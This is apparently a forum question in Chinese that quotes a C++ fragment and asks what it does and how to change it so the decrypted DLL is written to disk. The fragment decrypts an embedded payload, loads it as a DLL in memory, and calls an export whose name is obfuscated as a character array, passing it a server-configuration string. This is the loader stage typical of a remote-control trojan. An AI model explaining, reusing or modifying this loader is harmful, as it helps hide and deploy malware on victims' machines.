BOOL CWindowslocalSecurtyApp::InitInstance()
{
char *BackData = new char[MyFileSize + 1];
memcpy(BackData,MyFileBuf,MyFileSize);
EncryptDllName((char *)BackData,MyFileSize); //数据解密
char * lpRawRelocDll = (char *)BackData+20;
HMEMORYMODULE hdllmod = MemoryLoadLibrary(lpRawRelocDll);
if(hdllmod)
{
char Edition[] = {'D','h','l','V','i','p','V','e','r','s','f','s','\0'};//Dhlvipversfs
char fZQvl01[] = {'D','l','l','F','u','U','p','g','r','a','d','r','s','\0'};//DllFuUpgradrs
DLLMain lpproc = (DLLMain)MemoryGetProcAddress (hdllmod,fZQvl01);
if(lpproc!=NULL)
{
char *m_ServGet = New_ServGet;
lpproc(
(char *)MyFileBuf,
MyFileSize,
m_ServGet+12,
Edition
);
}
MemoryFreeLibrary(hdllmod);
delete [] BackData;
return 0;
}
这个代码是什么意思,看不懂,后边内存释放能不能改写成文件释放?写出一个dll文件